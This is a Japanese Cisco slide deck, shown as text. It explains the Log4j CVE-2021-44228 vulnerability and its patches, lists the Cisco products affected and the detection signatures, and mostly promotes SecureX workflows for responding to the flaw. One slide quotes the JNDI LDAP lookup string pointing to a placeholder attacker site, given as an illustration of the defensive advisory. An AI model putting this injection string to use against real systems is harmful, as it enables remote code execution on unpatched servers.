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Apache Log4j 脆弱性 (2021/12/16 現在)
Log4j

• Apache Foundation のオープンソースロギングライブラリ
• セキュリティおよびパフォーマンス情報をログに記録するために、さまざまなコンシューマーおよび
エンタープライズサービス、Webサイト、アプリケーション、およびオペレーショナルテクノロジー製
品で非常に広く使用されてる

Log4j の脆弱性 (CVE-2021-44228)
• 2.15.0より前のすべてのLog4j2バージョンに影響
• 重大なリモートコード実行 (RCE) の脆弱性
• Apache Log4j2 JNDI機能は、攻撃者によって制御されたLDAPおよびその他のJNDI関連
エンドポイントに対して保護されない

• 認証されていないリモートアクターは、この脆弱性を悪用して、影響を受けるシステムを制御す
る可能性がある

本スライドの内容は以下公式情報から引用しています
Cisco Security Advisories : A Vulnerability in Apache Log4j Library Affecting Cisco Products: 
December 2021
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-
qRuKNEbd
Cybersecurity & Infrastructure Security Agency : Apache Log4j Vulnerability Guidance
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance


Apache Log4j 脆弱性 (2021/12/16 現在)

本スライドの内容は以下公式情報から引用しています
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
Why the Log4j Vulnerability is so Serious
Author : Vinny Parla - Principal Architect / Manager - Office of the Security CTO at Cisco

$ {jndi：ldap：// attacker_controled_website / payload_to_be_executed} CVE-2021-44228

Java Naming and Directory Interface 
(JNDI)

https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html


Apache Log4j 脆弱性 (2021/12/16 現在)
Log4j の脆弱性の対策

• 既存環境を Apache Log4j バージョン2.16.0 へ更新
• Apache Log4j バージョン2.15.0 への CVE-2021-44228 の修正が可能, ただし不完全
• Apache Log4j バージョン2.15.0 において CVE-2021-45046 の脆弱性が判明している
• 特定の構成においてJNDI検索パターンで不正な入力データを作成しDOS攻撃か可能になる

• Apache Log4j バージョン2.16.0 の変更点
• Default で JNDI ルックアップを Disable に変更
• メッセージルックアップのサポートが削除

本スライドの内容は以下公式情報から引用しています
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
Cybersecurity & Infrastructure Security Agency : Apache Log4j Vulnerability Guidance
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
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Cisco 製品の対応状況 (2021/12/16 現在)
• A Vulnerability in Apache Log4j Library Affecting Cisco Products: 

December 2021 (本脆弱性対応の公式文書)
• https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ci

sco-sa-apache-log4j-qRuKNEbd

• シスコ製品に影響を与えるApache Log4jライブラリの脆弱性：2021年12月
(上記情報の非公式日本語翻訳)
• https://www.cisco.com/c/ja_jp/support/docs/csa/2021/cisco-sa-

apache-log4j-qRuKNEbd.html
• 日本語による情報は、英語による原文の非公式な翻訳であり、英語原文との間で内
容の齟齬がある場合には、英語原文が優先します。

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
https://www.cisco.com/c/ja_jp/support/docs/csa/2021/cisco-sa-apache-log4j-qRuKNEbd.html




Cisco 製品の対応状況 (2021/12/16 現在)
• シスコは、この脆弱性の影響を受ける可能性のある製品を特定するために、自社製品群を調
査しています。調査の進捗に応じて、影響を受ける製品に関する情報をこのアドバイザリに掲載
します

• 「 Vulnerable Products 」セクションには、影響を受ける各製品のシスコ バグ ID が記載され
ています。このバグは、Cisco Bug Search Tool からアクセスでき、回避策（利用可能な場
合）や修正されたソフトウェア リリースなど、プラットフォーム固有の追加情報が含まれています

• このアドバイザリの「Products Under Investigation」または「Vulnerable Products」のセク
ションに記載されていない製品は、脆弱性がないとみなされます。この勧告は現在進行中の調
査であるため、現在脆弱性がないと考えられている製品でも、追加情報が得られれば、その後
脆弱性があると考えられる可能性があることにご注意ください

• ※ Advisory情報は1日の間に3回更新されていますので、最新情報はご確認ください



Cisco 製品の対応状況 (2021/12/16 現在)
• 「 Vulnerable Products 」 (影響を受ける製品) : 57 製品
• 「Products Under Investigation」 (調査中製品) : 25 製品
• 「Products Confirmed Not Vulnerable」 (影響無し) : 121 製品
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Cisco 製品での緩和策 (脅威検知とブロック)
• Cisco Secure Endpoint (旧 AMP for Endpoints) : EDR/EPP

• 本件に関するマルウェアの実行を防ぐのに最適
• 2種類のClamAVシグネチャも公開：Java.Exploit.CVE_2021_44228-9914600-1 and 

Java.Exploit.CVE_2021_44228-9914601-1.

• Cisco Secure Email (旧 Cisco Email Security / ESA) : Email セキュリティ
• 脅威アクターから送信された脆弱性を利用する悪意の Email キャンペーンから防御

• Cisco Secure Firewall / Secure IPS (Firepower) 及び Meraki MX : Firewall/IPS/UTM
• Snort SIDを公開：58722-58744, 58751, 58784-58790, (Snort 3 の場合) 300055-300058
• アウトバウンドトラフィック制御

• Cisco Umbrella : SASE/SIG/SWG/DNS Security
• 企業ネットワークの内外を問わず、悪意のある外部ドメイン・IP・URLへの接続をブロック

• Cisco AppDynamics Secure Application : Runtime Applications Self-Protection
• Java Application Runtime での脆弱性検知と脆弱性利用時の攻撃防御

本スライドの内容は以下公式情報から引用しています
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-
vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-
fvPCxeLvrPegUHBUuOUe4

https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4


Cisco 製品での緩和策 (強化策)
• Cisco Kenna Security : リスクベース脆弱性管理 (RBVA)

• 自社における脆弱性の把握、特にお客様環境における重要度を機械学習によって判別し
脆弱性対処の洞察を提示

• Cisco Secure Malware Analytics (旧Thread Grid) : Sandbox
• 悪意のあるバイナリを特定し検知防御
• すべてのCisco Secure製品に保護機能を組み込み保護機能を強化

• Radware クラウドWAFサービス : Web Application Firewall
• WAFにおける緩和策。ラドウェア社のクラウドWAFサービスをシスコがOEMで取り扱い

• Cisco SecureX : XDR
• SecureXにより当該IOC情報における自社の状況を迅速に把握

本スライドの内容は以下公式情報から引用しています
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-
vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-
fvPCxeLvrPegUHBUuOUe4

https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4


Apache Log4j 脆弱性 – Cisco情報
• Cisco Japan Blog – Talos Blog 日本語翻訳

• https://gblogs.cisco.com/jp/2021/12/apache-log4j-rce-vulnerability/

• Cisco Japan Blog – Firewall Threat Defense (FTD) での CVE-2021-44228 (Log4j の脆弱性) の検知・防御

• https://gblogs.cisco.com/jp/2021/12/ftd-snort-log4j/

• Cisco Japan Blog – Cisco Secure Application による Log4Shell 脆弱性の検知

• https://gblogs.cisco.com/jp/2021/12/detect-log4shell-with-cisco-secure-application/

• Cisco Talos Blog : Vulnerability in Apache Log4j Library Affecting Cisco Products: December 2021
• https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

• Cisco Security Alert
• https://www.cisco.com/c/en/us/solutions/security/secure-alert.html

• Kenna Security : Customer Advisory: Protecting Against Apache Log4j
• https://www.kennasecurity.com/blog/customer-advistory-protecting-aganist-apache-log4j-vulnerability/

• Cisco Blog – Protecting against Log4j with Secure Firewall & Secure IPS
• https://blogs.cisco.com/security/protecting-against-log4j-with-secure-firewall-secure-ips?dtid=osoblg000513

• Cisco Blog – App Dynamics : Log4j Developer Response 
• https://blogs.cisco.com/developer/log4jdevresponse01

日本語

https://gblogs.cisco.com/jp/2021/12/apache-log4j-rce-vulnerability/
https://gblogs.cisco.com/jp/2021/12/ftd-snort-log4j/
https://gblogs.cisco.com/jp/2021/12/detect-log4shell-with-cisco-secure-application/
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4
https://www.cisco.com/c/en/us/solutions/security/secure-alert.html
https://www.kennasecurity.com/blog/customer-advistory-protecting-aganist-apache-log4j-vulnerability/
https://blogs.cisco.com/security/protecting-against-log4j-with-secure-firewall-secure-ips?dtid=osoblg000513
https://blogs.cisco.com/developer/log4jdevresponse01
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CISO はサイバーセキュリティリスクの効率的管理が必要であると考えている
組織の SOC 管理者はチームの効率性を改善したいと考えている

効率的かつ効果的にリスクを軽減しながら、
サイバーセキュリティ対策を強化したい

スタッフをより価値の高い活動に集中させたい、そのために、
時間のかかる調査作業を短縮したい

セキュリティベンダーを効率的に管理しながら、
サイバーセキュリティの能力を向上させたい



今直面しているセキュリティオペレーションの悪循環

運用に携わる
タレント・人材
の不足

新しい脅威の対応
伴う遅い対応

多すぎる運用対象
セキュリティ製品

! 脅威の有効性
の正しい把握

オペレーション
の有効性

チームの
生産性/モラル

統合、改善の
方策の欠如
時間の欠如



"Best-of-Breed ≒ マルチベンダー採用” の運用の本質

統合要素の無い単体製品の集合体は
複雑性と非効率性を生む

小さな絵の積み重ねにより
大きな絵を見極める複雑性が存在



セキュリティオペレーションセンター (SOC)  回転チェア問題



インシデントの本質調査とレスポンスはマニュアル

2. 複数のコンソールでインシデントを調査
Product 
dashboard 1

Product 
dashboard 2

Product 
dashboard 3

Product 
dashboard 4

3. 複数のチームで連携して修復
Product 
dashboard 1

Product 
dashboard 2

Product 
dashboard 3

Product 
dashboard 4

1. IOC / アラート プレイブック

修復、隔離、レスポンス

アラートの優先度

アラートの重複

インシデントの
本質調査担当者の壁

相関分析作業

インシデント調査

反復作業

作業品質

人的タスク



セキュリティオペレーションの課題に対し正しく取り組む
アプローチが求められています！

簡素化 可視化 効率性
脅威の検出と調査にかかる時間

を短縮し、
コンテキストに応じた認識を維持

対応・修正時間を短縮し、
ワークフローを自動化により、
コストを削減、セキュリティを強化

真のターンキー相互運用性
を備えた技術の統合



Agenda

© 2021  Cisco and/or its affiliates. All rights reserved.   Cisco Public

• Apache Log4j 脆弱性
• Apache Log4j 脆弱性とは
• Apache Log4j Cisco 製品の対応状況
• Apache Log4j Cisco 製品での緩和策

• 今直面しているセキュリティオペレーションの課題
• Cisco SecureX とは
• Cisco SecureX ユースケース : Log4j 脆弱性対応ワークフロー
• まとめ : SecureX の価値

22



Cisco SecureX 
無償 で利用可能! クラウドネイティブ な XDR プラットフォーム
ビルトインプラットフォーム エクスペリエンスを Cisco ポートフォリオで実現

Your Infrastructure

SIEM/SOARIdentity

3rd Party  /ITSM インテリジェンス

Cisco Secure

アプリケーションクラウド

ネットワーク エンドポイント

セキュリティチーム
ITOpsSecOps NetOps

調査と修復 ポリシー管理 オーケストレーショ
ンと自動化検知と分析

Unified Visibility



SecureX | 2021年度のお客様推移

Subhead 2
This is placeholder text. All 
phrases can be replaced with 
your own text.

SecureX 
Ribbon を利用
中

73%

SecureX による
調査を実施中

49%

13,500 以上お客様, 組織での利用, 55% のお客様は 1〜2のCisco 製品を利用中



SecureX Dashboard で新たなレベルの可視化を実現

セキュリティインフラストラクチャ全体で、重要な情報を単一Vewで理解

Applications (左側)
統合された製品のView
、起動、トライアル利用
Tiles (中間)
統合された製品のメトリッ
クスと運用施策を提供
News (右側)
製品の最新情報、業
界ニュース、ブログ記事



SecureX Ribbon
SecureX Ribbon で利用できる起動可能なアプリケーション

… more apps coming to bring additional functionality in the future

Casebook
グループ内の Observable の収集、ケー
ス名と補足情報の割り当て、ケースのメモ
を残して保存、いつでもその他の新規

Observable の追加、すぐに Verdict を
確認しアクションを実行、スタッフ間でケー

スの共有が可能

Incident manager
SecureX 統合をサポートするすべての製品のセ
キュリティインシデントのための単一のリスト

インシデントライフサイクルを通じたチケットの割り当
て、ステータス管理等の作業を実施

調査とレスポンスアクションへの迅速なピボット
自動トリアージにより時間と人的のサイクルを節約

Orbital 拡張検索
直感的なグラフィカルインターフェースと、
脅威のハンティングとインシデントレスポン
スのための Pre-Build クエリのカタログを
備えた、SQL フォーマット形式の詳細な

エンドポイント可視化を提供



SecureX | 統合



悪性 URL

悪性
ドメイン

ターゲット
ネットワーク

疑わしい URL Target
Endpoint

Email 
アドレス

悪性
ドメイン

メッセージ

ターゲット
エンドポイント

IP

ターゲット
Email

SHA-256

SHA-256
ハッシュ

ターゲット
Email

メッセージ

IP

ファイルブロック

ホストの隔離

宛先ブロック
または、このワークフローを自動化することで、クリックの手間を省略可能

Cisco インターフェース

セキュリティブロック

3rd-party 
インターフェース

数分内、数回のクリックで攻撃を確認、脅威の停止を実行
SecureX threat response を利用した組織の SecOps チーム運用

85% reduction 
in time to respond 
and remediate to 

an attack

Extract 
observables from 
browser content 

with 1 click

組織環境
での脅威の影響
を視覚化する

統合された
セキュリティ製品から
インテリジェンスと
コンテキストをクエリ



SecureX Orchestration 概要

no/low-code, drag-
drop インターフェースに
より簡素化されたプロセ
ス自動化 統合

他のシステムやソリューション
と迅速に統合しツールボック
スを拡張する独自のターン

キーアプローチ

スケール
制限の無い拡張、休むこと
が無いタスク、同じSLAを提
供できるオートメーション

調査
マシンスピードで実行する
ワークフローとプレイブックで調
査と応答時間を短縮

自動化
反復的なタスクを排除し、
MTTRを削減して生産性を
向上させ、ミッションクリティカ
ルなプロジェクトに集中させる



Endpoint
• Host isolation with approval
• Move computer to triage group
• Submit URL to sandbox
• Take forensic snapshot and isolate
• CVE hunt to ServiceNow incident
• Threat detected events to incidents
• Threat hunting events to incidents
• Vulnerabilities to SecureX incidents
• Vulnerabilities to ServiceNow 

incidents

Email
• Investigate retrospective alerts
• Phishing investigation

ISE
• Add endpoint to identity group
• Remove endpoint from identity group
• Quarantine endpoint
• Un-quarantine endpoint

Umbrella
• Add domain to destination list
• Excessive requests to incidents
• Search DNS activity by category
• Top 10 blocked identities to ServiceNow

Firewall
• Block observables
• Impact red intrusion remediation
• Incident endpoint enrichment
• AWS VPN capacity expansion
• Microsoft Online split tunnel configuration
• Microsoft Online object group update
• Microsoft Online dynamic object update
• Request Firewall NullRoute
• Tufin: intrusion alert enrichment
• Tufin: Request server decommission
• Tufin: request threat containment

Meraki
• MX L3 outbound firewall block

Talos Intelligence
• Get new blog post to SecureX
• SolarWinds investigation

Cloud Analytics
• Block IPs and domains in Umbrella
• Generate casebook with flow links
• Handle AWS ssh quarantine 

approvals
• Isolate endpoints from alerts
• Quarantine AWS instances from 

alerts

Network Analytics
• Block external threats with Umbrella
• Casebook with top hosts and peers
• Isolate endpoints and block hashes

3rd Party Atomics
• ServiceNow, Jira, Zen Desk
• Manage Engine, BMC Remedy
• Farsight DNS, Shodan, Tufin

58 ワークフロー & 124 AtomicSecureX | ワークフロー



Cisco SecureX は組織の価値を引き出す

一箇所に
統合された
可視化

最大化された
運用の
効率性

統合とオープン
性による
簡素化

可視性を統一し、
ワークフロー自動化
により100時間を

セーブ

攻撃への対応と修
正にかかる時間の
85%を短縮 [2]

15分で、既存製品を
クラウドネイティブに使
用して、真のメリットを

実現

すべての Cisco 
Secure 製品が含

まれる

SecureXユーザはこ
れまでの半分以下の
時間で環境内の脅
威を可視化できると

回答 [1]

[2] Source: Based on internal simulation

[1] Source: TechValidate
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Log4j 組織内影響 & IoC 調査対応ワークフロー

SecureX

• Log4j 脆弱性解析に関する Cisco Talos ブログ記事内最新 IoC 情報を基に、
「組織環境内連携プロダクトで発見された影響範囲」 と 「IoC の最新影響度」を調
査

• 調査概要を SecureX Casebook、Incident 作成、WebEx Teams、Slackなど
に報告、ServiceNowにインシデントチケットを作成

• 問題があった場合、承認付き修復を行う

SecureX連携製品
インテリジェンス

① SOC オペレータ
が調査を開始

② Log4j Talos ブログ
エントリから関連 IoC
情報を取得

③連携済みインテリジェンス
連携済み製品
(IPS/EDR/サンドボックス等) を調査

④ SecureX にインシデント作成,
ServiceNow にインシデント作成,
WebEx Messaging, Slack に送信

④ (問題があった場合)
ServiceNow インシデントより
修復 Action を実行

(ServiceNowを使っている場
合)







40



41



42





オーケストレーションを利用しない脅威ハンティング
1. SOC オペレータがブログサイトを訪問
2. ブログアップデートを確認
3. 関連情報を調査 (Talos 情報等)
4. SecureX Threat Response を利用調査を開始
5. SecureX Threat Response の調査結果を得る

セキュリティブログ IoC 調査ワークフローの例



オーケストレーションを利用した脅威ハンティング
1. ワークフローが定期的実行
2. RSS フィードを照会
3. 脅威対応のケースブックがあらゆる観測値とともに作成される
4. ブログ情報に基づいたターゲットが発見された場合、WebEx で通知される
5. SOC オペレータはバックエンドで作成された調査結果をクリックする

セキュリティブログ IoC 調査ワークフローの例

アップデートが無い場合、サイトを確認する必要は無い
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まとめ : SecureX の価値

[Q] Cisco SecureX って何ですか？
• Cisco Secure 製品の中核となる可視化統合＆レスポンスプラットフォーム (XDR) です
• 複雑な日々のセキュリティ運用を、簡素化、効率化できます



まとめ : SecureX の価値

[Q] Cisco SecureX の特徴と利点を教えて下さい？
• 完全無償で利用可能です
• 簡単サインナップですぐに簡単に利用ができるクラウドサービスです
• セキュリティ製品に渡る可視化ダッシュボードの統合が可能です (Dashboard)
• インシデント調査・対応を効率化します (Threat Response)
• マルチドメインオーケストレーションにより運用自動化が可能です (Orchestration)
• 無償利用可能な脅威インテリジェンスを簡単に追加できます
• 約60個のビルトインワークフローによるオーケストレーション利用が可能です
• オーケストレーション作成にプログラミング&コーディングナレッジの必要はありません



まとめ : SecureX の価値

[Q] Cisco 製品を 1 つだけ使っています
• SecureX 可視化の機能を使ってみませんか？

• 例）Executive 向けサマリダッシュボード、情報子会社運用の本社IT部門向けダッシュボード
• オーケストレーション機能を使ってみませんか？

• オーケストレーションのユースケース紹介
• 統合製品サポートビルトインワークフロー

• 無償で利用できる 3rd Party インテリジェンスを簡単に追加してみませんか？

既存 Cisco Secure のお客様に SecureX をお試し利用、アドオンしていただき、可視
化統合、オーケストレーションの付加価値と、他の製品連携にご興味をお持ちいただく



まとめ : SecureX の価値
[Q] Cisco 製品を使っていません

• Cisco 製品を使っていない SecureX ユーザもいます
• SecureX にサインナップすると Cisco 製品の脅威インテリジェンスが利用できます
• Cisco のインテリジェンスを利用した調査ツールとして使ってみませんか？
• 無償で利用できる 3rd Party インテリジェンスを簡単に追加してみませんか？

無償で利用できるセキュリティ調査ツールとしてお使いいただき、SecureX 自体、Cisco
のセキュリティ製品自体のご興味をお持ちいただく

SecureX ビルトインインテリジェンス
• AMP File Reputation
• AMP Global Intelligence
• Private Intelligence
• Talos Intelligence
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まとめ : Cisco ゼロトラスト/SASE/XDR

WORKLOAD

ビヘイビア
分析

!

WORKFOR
CE

WORKPLA
CE

AnyConnect

Secure TLSSecure TLS

リモートアクセス

SD-WAN メッシュ
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Workload
Cisco SASE = Networking, Security, Identity 
& Access
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Thank you
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